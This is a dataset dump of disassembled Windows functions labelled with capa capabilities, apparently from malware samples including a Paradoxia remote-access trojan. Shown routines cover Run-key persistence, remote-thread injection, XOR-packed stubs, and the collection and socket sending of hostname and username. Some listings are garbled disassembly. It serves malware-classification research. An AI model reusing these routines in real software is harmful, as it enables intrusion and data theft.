joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404369

Function at 0x4025e7
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x40f530
call fcn.00403770
mov eax, 0x5a4d
cmp word [0x400000], ax
jne 0x4024e7
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x4024e7
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x4024e7
cmp dword [eax + 0x400074], 0xe
jbe 0x4024e7
xor ecx, ecx
cmp dword [eax + 0x4000e8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
jmp 0x4024eb
and dword [ebp - 0x1c], 0
push 1
call fcn.0040d73f
pop ecx
test eax, eax
jne 0x4024ff
push 0x1c
call fcn.0040d73f
pop ecx
call fcn.00405287
test eax, eax
jne 0x402510
push 0x10
call fcn.0040d73f
pop ecx
call fcn.00405952
and dword [ebp - 4], 0
call fcn.004032ff
test eax, eax
jge 0x40252a
push 0x1b
call fcn.0040d73f
pop ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x412ba0], eax
call fcn.0040d73f
mov dword [0x41203c], eax
call fcn.0040d73f
test eax, eax
jge 0x402550
push 8
call fcn.0040d73f
pop ecx
call fcn.00405fde
test eax, eax
jge 0x402561
push 9
call fcn.0040d73f
pop ecx
push 1
call fcn.0040d73f
pop ecx
test eax, eax
je 0x402574
push eax
call fcn.0040d73f
pop ecx
mov eax, dword [0x412018]
mov dword [0x41201c], eax
push eax
push dword [0x412010]
push dword [0x41200c]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
jne 0x4025a2
push eax
call fcn.0040d73f
call fcn.00402400
jmp 0x4025d7
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.004037b5
ret
call fcn.0040d73f
jmp 0x402495

Function at 0x40d73f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x40d74e
pop dword [ebp - 0x1c]
mov eax, 0xf356e50b
sub eax, 0xf3160dbd
sub dword [ebp - 0x1c], eax
push 0x40
push 0x1000
push 0x36dff
push 0
mov eax, 0xb49bb53
sub eax, 0xb08da7b
add eax, dword [ebp - 0x1c]
call dword [eax]
mov ecx, 0x3eaa
mov edi, eax
mov ebx, 0x5c3a20a2
add ebx, 0xa4071b22
add ebx, dword [ebp - 0x1c]
mov esi, 0x5c1404f9
add esi, 0x847705dd
xor dword [ebp - 0x14], edi
mov edx, dword [ebx]
add dword [ebp - 0xc], 0x120f4a17
add edx, esi
xor dword [ebp - 0x10], 0xd4d64ce
mov dword [edi], edx
add dword [ebp - 8], edi
add edi, 4
add ebx, 0x4d3dbe2b
sub ebx, 0x4d3dbe27
loop 0x40d7a7
add eax, 0x275203b5
add eax, 0xd8aee9c6
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xf4ac2bd4
sub ecx, 0xf46c2bd4
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x420b5b
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x420b9a
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x420b9a
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x420b9a
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x420b9a
cmp dword [ecx + 0x74], 0xe
jbe 0x420b9a
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x433310
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x43333d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x43333d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x4080f0
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x458bec9c
push es
mov ecx, dword [ebp + 8]
push ebx
push esi
push edi
add eax, 0xc085147d
mov esi, edi

Function at 0x408a4d
Capabilities:
Encode data using xor

Disassembly:
inc ecx
pop esi
xor byte [esi + ecx + 7], cl
loop 0x408a50
mov eax, 0x50402ab
out dx, al
clc
div esi
cmc
retf 0x3d52

Function at 0x40a720
Capabilities:
Check os version

Disassembly:
or byte [ecx + 0x2c548b38], cl
pop ebx
mov esp, ebp
pop ebp
or cl, byte [esi - 0x6f2b6f70]
push ebp
mov ebp, esp
mov eax, dword [0x410801]
push esi
test eax, eax
push edi
jne 0x40a91b
push 0x41073a
mov dword [0x4107f8], 0xc80094
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, dword [0xdb4108cc]
cmp eax, 2
xchg ecx, eax
test dword [eax], edi
add dword [eax], eax
add byte [eax + 0x14080c], ah
mov esi, 0x41080c
test ah, al
je 0x40a7bb
mov edi, dword [sym.imp.MSVCRT.dll__isctype]
mov eax, dword [0x40c11d]
inc edi
cmp byte [ebp - 0x4a], bl
mov eax, 0x46a6133
mov cl, byte [esi]
push ecx
call edi
add esp, 0xffffffcd
jmp 0x40a792
test eax, eax
jne 0x40a7cd
mov al, byte [esi + 1]
inc esi
test al, al
jne 0x40a769
mov ebp, dword [edx + 0x4108e0]
mov eax, dword [0x4107fc]
cmp eax, 0x22
movntps xmmword [eax], xmm7
add dword [eax], eax
add byte [edi], cl
test byte [ecx + 1], bl
add byte [eax], al
cmp eax, 0xffffffbb
fsub dword [ebp - 0x7d]
stc
add cl, byte [ecx + 0x23]
mov eax, 0x8b004e28
jmp 0x40a916
add byte ds:[ebp + ebp*2 + 0x56], dh
invalid
mov dword [0x41a2dc], eax
mov esi, dword [eax + 0x2e]
pop edi
pushfd
add cl, byte [ebx + 0x4108dc60]
add byte [ecx], ch
invalid
cmp esi, 1
invalid
popfd
Function at 0x4073e2
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x461134], 0
jne 0x407420
xor ecx, ecx
push esi
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
movzx edx, dl
neg edx
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x4073f6
mov dword [ecx*4 + 0x461130], eax
inc ecx
cmp ecx, 0x100
jl 0x4073f1
pop esi
cmp dword [ebp + 0x10], 0
mov eax, dword [ebp + 8]
not eax
jbe 0x40744d
mov ecx, dword [ebp + 0xc]
movzx edx, byte [ecx]
dec dword [ebp + 0x10]
xor edx, eax
and edx, 0xff
shr eax, 8
xor eax, dword [edx*4 + 0x461130]
inc ecx
cmp dword [ebp + 0x10], 0
ja 0x40742e
not eax
pop ebp
ret 0xc

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
nop
pop eax
nop
nop
nop
add eax, 0x40a063
nop
nop
sub eax, 0x40a009
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x433030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x43301e
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x401660
Capabilities:
Create process on windows

Disassembly:
push edi
xor eax, eax
mov ecx, 0xd
push esi
push ebx
sub esp, 0x90
lea ebx, [esp + 0x50]
mov edx, dword [esp + 0xa0]
lea esi, [esp + 0x4c]
mov dword [esp + 0x4c], 0x44
mov edi, ebx
rep stosd dword es:[edi], eax
lea eax, [esp + 0x3c]
mov dword [esp + 0x78], 0x100
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0xa4]
mov dword [esp + 0x8c], edx
mov dword [esp + 0x88], edx
mov dword [esp + 0x84], edx
mov dword [esp + 0x20], esi
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x8000000
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
sub esp, 0x28
test eax, eax
je 0x401748
mov eax, dword [esp + 0x3c]
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 8
mov eax, dword [esp + 0x3c]
mov dword [esp], eax
call ebx
sub esp, 4
mov eax, dword [esp + 0x40]
mov dword [esp], eax
call ebx
sub esp, 4
add esp, 0x90
pop ebx
pop esi
pop edi
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.Failed_to_Create_Process__Error_:__ld_n
mov dword [esp + 4], eax
call fcn.00401e60
add esp, 0x90
pop ebx
pop esi
pop edi
ret

Function at 0x401770
Capabilities:
Enumerate processes

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x14c
mov dword [esp + 4], 0
mov dword [esp], 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
sub esp, 8
mov ebx, eax
lea esi, [esp + 0x18]
mov dword [esp], eax
mov dword [esp + 4], esi
mov dword [esp + 0x18], 0x128
call sub.KERNEL32.dll_Process32First
sub esp, 8
test eax, eax
je 0x401808
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
lea ebp, [esp + 0x3c]
jmp 0x4017d3
mov dword [esp + 4], esi
mov dword [esp], ebx
call sub.KERNEL32.dll_Process32Next
sub esp, 8
test eax, eax
je 0x401808
mov eax, dword [esp + 0x160]
mov dword [esp], ebp
mov dword [esp + 4], eax
call edi
sub esp, 8
test eax, eax
jne 0x4017c0
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov eax, dword [esp + 0x20]
add esp, 0x14c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
sub esp, 4
add esp, 0x14c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x401d10
Capabilities:
Get common file path

Disassembly:
sub esp, 0x2c
mov dword [esp + 0x10], 0x411040
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x801a
mov dword [esp], 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
mov edx, 0x411040
sub esp, 0x14
test eax, eax
mov eax, str.C:UsersPublic
cmovns eax, edx
add esp, 0x2c
ret

Function at 0x401d60
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
sub esp, 0x3c
lea eax, [esp + 0x2c]
mov dword [esp + 0xc], 0x20006
mov dword [esp + 0x10], eax
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
sub esp, 0x14
test eax, eax
je 0x401db0
mov eax, dword [esp + 0x2c]
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
sub esp, 4
add esp, 0x3c
ret
mov eax, dword [esp + 0x40]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [esp + 0xc], 1
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x40]
mov dword [esp + 8], 0
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x2c]
mov dword [esp + 4], str.Paradoxia
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
sub esp, 0x18
jmp 0x401d97

Function at 0x401e60
Capabilities:
Send data
Send data on socket

Disassembly:
push edi
mov edx, 0x4119c0
xor eax, eax
mov ecx, 0x100
push esi
mov edi, edx
push ebx
sub esp, 0x10
rep stosd dword es:[edi], eax
lea eax, [esp + 0x24]
mov dword [esp], edx
mov dword [esp + 8], eax
mov eax, dword [esp + 0x20]
mov dword [esp + 4], eax
call fcn.00405170
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [esp], 0x4119c0
mov esi, eax
call sub.msvcrt.dll_strlen
test eax, eax
je 0x401ef1
xor edi, edi
cmp esi, 0x2746
mov ebx, eax
mov esi, dword [sym.imp.WS2_32.dll_send]
jne 0x401ec6
jmp 0x401f06
add edi, eax
cmp ebx, edi
jle 0x401ef1
mov eax, ebx
mov dword [esp + 0xc], 0
sub eax, edi
mov dword [esp + 8], eax
lea eax, [edi + 0x4119c0]
mov dword [esp + 4], eax
mov eax, dword [0x41117c]
mov dword [esp], eax
call esi
sub esp, 0x10
test eax, eax
jns 0x401ec0
add esp, 0x10
pop ebx
pop esi
pop edi
ret
add edi, eax
cmp ebx, edi
jle 0x401ef1
mov eax, ebx
mov dword [esp + 0xc], 0
sub eax, edi
mov dword [esp + 8], eax
lea eax, [edi + 0x4119c0]
mov dword [esp + 4], eax
mov eax, dword [0x41117c]
mov dword [esp], eax
call esi
mov dword [0x411dc0], 0
sub esp, 0x10
test eax, eax
jns 0x401f00
add esp, 0x10
pop ebx
pop esi
pop edi
ret

Function at 0x402000
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x1ac
lea eax, [esp + 0x10]
mov dword [esp], 0x202
mov dword [esp + 4], eax
call dword [sym.imp.WS2_32.dll_WSAStartup]
sub esp, 8
test eax, eax
jne 0x402030
add esp, 0x1ac
ret
mov dword [esp], str._Error__Error_Starting_Winsock.
call fcn.00401e00
call fcn.004015e0
add esp, 0x1ac
ret
Function at 0x4035e0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
sub esp, 0x1c
mov eax, dword [esp + 0x20]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor edx, edx
sub esp, 4
cmp eax, 0xffffffff
je 0x403605
shr eax, 4
xor eax, 1
and eax, 1
mov edx, eax
mov eax, edx
add esp, 0x1c
ret

Function at 0x403610
Capabilities:
Get hostname
Get session user name

Disassembly:
push esi
push ebx
sub esp, 0x134
lea ebx, [esp + 0x2f]
lea eax, [esp + 0x14]
mov dword [esp + 0x14], 0x101
mov dword [esp], ebx
mov dword [esp + 0x18], 0x10
mov dword [esp + 4], eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
sub esp, 8
lea esi, [esp + 0x1f]
lea eax, [esp + 0x18]
mov dword [esp], esi
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
sub esp, 8
mov dword [esp + 8], esi
mov dword [esp + 4], ebx
mov dword [esp], str._s____s
call fcn.00401e60
add esp, 0x134
pop ebx
pop esi
ret

Function at 0x403680
Capabilities:
Get common file path

Disassembly:
push edi
mov edx, 0x411f00
xor eax, eax
mov ecx, 0x41
mov edi, edx
sub esp, 0x18
rep stosd dword es:[edi], eax
mov dword [esp + 4], edx
mov dword [esp], 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov eax, 0x411f00
sub esp, 8
add esp, 0x18
pop edi
ret

Function at 0x4036c0
Capabilities:
Get token membership

Disassembly:
sub esp, 0x4c
mov eax, 0x500
mov word [esp + 0x3e], ax
lea eax, [esp + 0x34]
mov dword [esp + 0x28], eax
lea eax, [esp + 0x3a]
mov dword [esp + 0x30], 0
mov dword [esp + 0x34], 0
mov dword [esp + 0x3a], 0
mov dword [esp + 0x24], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0x220
mov dword [esp + 8], 0x20
mov dword [esp + 4], 2
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
sub esp, 0x2c
test eax, eax
je 0x403790
lea eax, [esp + 0x30]
mov dword [esp], 0
mov dword [esp + 8], eax
mov eax, dword [esp + 0x34]
mov dword [esp + 4], eax
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
sub esp, 0xc
test eax, eax
je 0x403790
mov eax, dword [esp + 0x34]
test eax, eax
je 0x403781
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_FreeSid]
sub esp, 4
mov eax, dword [esp + 0x30]
add esp, 0x4c
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x40376d
Function at 0x403920
Capabilities:
Get system information on windows

Disassembly:
push ebx
sub esp, 0x48
lea eax, [esp + 0x1c]
mov ebx, dword [esp + 0x50]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
sub esp, 4
cmp ebx, 2
je 0x403990
jg 0x403968
test ebx, ebx
je 0x4039b0
cmp ebx, 1
jne 0x40395c
mov eax, dword [esp + 0x20]
mov dword [esp], 0x40c7d1
mov dword [esp + 4], eax
call fcn.00401e60
add esp, 0x48
pop ebx
ret
cmp ebx, 3
jne 0x40395c
mov eax, dword [esp + 0x28]
mov dword [esp], 0x40c7d1
mov dword [esp + 4], eax
call fcn.00401e60
add esp, 0x48
pop ebx
ret
mov eax, dword [esp + 0x24]
mov dword [esp], 0x40c7d1
mov dword [esp + 4], eax
call fcn.00401e60
add esp, 0x48
pop ebx
ret
mov eax, dword [esp + 0x30]
mov dword [esp], 0x40c7d1
mov dword [esp + 4], eax
call fcn.00401e60
add esp, 0x48
pop ebx
ret

Function at 0x4039d0
Capabilities:
Get memory capacity

Disassembly:
push ebx
sub esp, 0x68
lea eax, [esp + 0x20]
mov dword [esp + 0x20], 0x40
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
sub esp, 4
cmp dword [esp + 0x70], 1
mov ecx, dword [esp + 0x28]
mov ebx, dword [esp + 0x2c]
mov eax, dword [esp + 0x48]
mov edx, dword [esp + 0x4c]
je 0x403a30
shrd eax, edx, 0x14
shr edx, 0x14
mov dword [esp], 0x40c7d4
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], edx
fild qword [esp + 0x18]
fstp qword [esp + 4]
call fcn.00401e60
add esp, 0x68
pop ebx
ret
shrd ecx, ebx, 0x14
shr ebx, 0x14
mov dword [esp], 0x40c7d4
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x18], ecx
fild qword [esp + 0x18]
fstp qword [esp + 4]
call fcn.00401e60
add esp, 0x68
pop ebx
ret
Function at 0x403f30
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x3c
mov ebx, dword [esp + 0x54]
mov esi, dword [esp + 0x58]
mov dword [esp + 0x2c], 0
test ebx, ebx
sete al
test esi, esi
sete dl
or al, dl
jne 0x404018
mov eax, dword [esp + 0x50]
test eax, eax
je 0x404018
mov dword [esp], ebx
call fcn.00403ac0
mov ebp, eax
test eax, eax
je 0x404018
mov eax, dword [esp + 0x50]
mov dword [esp + 0x10], 0x40
mov dword [esp + 0xc], 0x3000
mov dword [esp + 8], esi
mov dword [esp + 4], 0
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
sub esp, 0x14
mov edi, eax
test eax, eax
je 0x404018
mov dword [esp + 4], eax
mov eax, dword [esp + 0x50]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], esi
mov dword [esp + 8], ebx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
sub esp, 0x14
test eax, eax
je 0x404018
lea eax, [esp + 0x2c]
lea edx, [edi + ebp]
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x5c]
mov dword [esp + 0xc], edx
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x50]
mov dword [esp + 8], 0x100000
mov dword [esp + 4], 0
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
sub esp, 0x1c
jmp 0x40401a
xor eax, eax
add esp, 0x3c
pop ebx
pop esi
pop edi
pop ebp
ret 0x10

Function at 0x404350
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call fcn.0040a4e0
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov dword [esp], 2
call fcn.0040a4e0
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]
Function at 0x4043b0
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x412050]
test esi, esi
jle 0x4044d0
mov eax, dword [0x412054]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp ebx, edx
jb 0x4043e4
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x404467
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x4043d0
mov dword [esp], ebx
call fcn.00404da0
mov edi, eax
test eax, eax
je 0x4044f7
mov eax, dword [0x412054]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call fcn.00404ee0
mov edx, dword [0x412054]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x4044d7
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x404460
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x404470
add dword [0x412050], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 4
mov eax, 0x40
mov ecx, dword [esp + 0x20]
cmove eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x412054]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x404460
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.00404350
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0x4043ee
mov eax, dword [0x412054]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.00404350
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call fcn.00404350
lea esi, [esi]
nop

Function at 0x404a10
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x41206c
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x412064]
sub esp, 4
test ebx, ebx
je 0x404a65
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x404a5e
test esi, esi
je 0x404a5e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x404a40
mov dword [esp], 0x41206c
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x404da0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x404dc5
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x404dd0
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x404dc5
push esi
movzx eax, word [ecx + 0x400014]
push ebx
movzx esi, word [ecx + 0x400006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test si, si
je 0x404e18
xor ecx, ecx
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x404e0e
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x404e1a
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x404e00
xor eax, eax
pop ebx
pop esi
ret
Function at 0x40acf0
Capabilities:
Copy file
Create directory
Hide graphical window

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
lea esi, [ebp - 0x418]
push ebx
lea ebx, [ebp - 0x818]
push ecx
mov edi, ebx
sub esp, 0x828
call fcn.00404190
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov dword [esp + 4], 0
mov dword [esp], eax
call dword [sym.imp.USER32.dll_ShowWindow]
xor edx, edx
mov ecx, 0x100
sub esp, 8
mov eax, edx
rep stosd dword es:[edi], eax
mov edi, esi
call fcn.00401d10
mov dword [esp], ebx
mov dword [esp + 0x14], str.ParadoxiaClient.exe
mov dword [esp + 0x10], 0x40c058
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._s_s_s
mov dword [esp + 4], 0x400
call fcn.004014f0
xor eax, eax
mov ecx, 0x100
rep stosd dword es:[edi], eax
call fcn.00401d10
mov dword [esp], esi
mov dword [esp + 0x10], 0x40c058
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._s_s_
mov dword [esp + 4], 0x400
call fcn.004014f0
mov dword [esp], esi
mov dword [esp + 4], 0
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
sub esp, 8
call fcn.004037a0
mov dword [esp + 4], ebx
mov dword [esp + 8], 1
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
sub esp, 0xc
mov dword [esp], ebx
call fcn.00401d60
call fcn.00402050
lea esp, [ebp - 0x10]
xor eax, eax
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret

Function at 0x1001128
Capabilities:
Create process on windows
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x864
push esi
push edi
push 0x11
pop ecx
xor eax, eax
lea edi, [ebp - 0x64]
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x20]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov edx, 0x100
xor eax, eax
mov ecx, edx
lea edi, [ebp - 0x864]
rep stosd dword es:[edi], eax
mov ecx, edx
lea edi, [ebp - 0x464]
rep stosd dword es:[edi], eax
lea eax, [ebp - 4]
push eax
push 0x20019
xor esi, esi
push esi
push 0x10010b8
mov edi, 0x400
push 0x80000002
mov dword [ebp - 0x64], 0x44
mov dword [ebp - 8], edi
mov dword [ebp - 4], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x464]
push eax
lea eax, [ebp - 0xc]
push eax
push esi
push 0x10010b0
push dword [ebp - 4]
mov dword [ebp - 0xc], esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x864]
push eax
push edi
push 0x10010a8
push 0x100109c
lea eax, [ebp - 0x464]
push eax
call dword [sym.imp.KERNEL32.dll_SearchPathA]
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x64]
push eax
push esi
push esi
push esi
push esi
push esi
push esi
push 0x100108c
lea eax, [ebp - 0x864]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
xor eax, eax
pop esi
leave
ret 0x10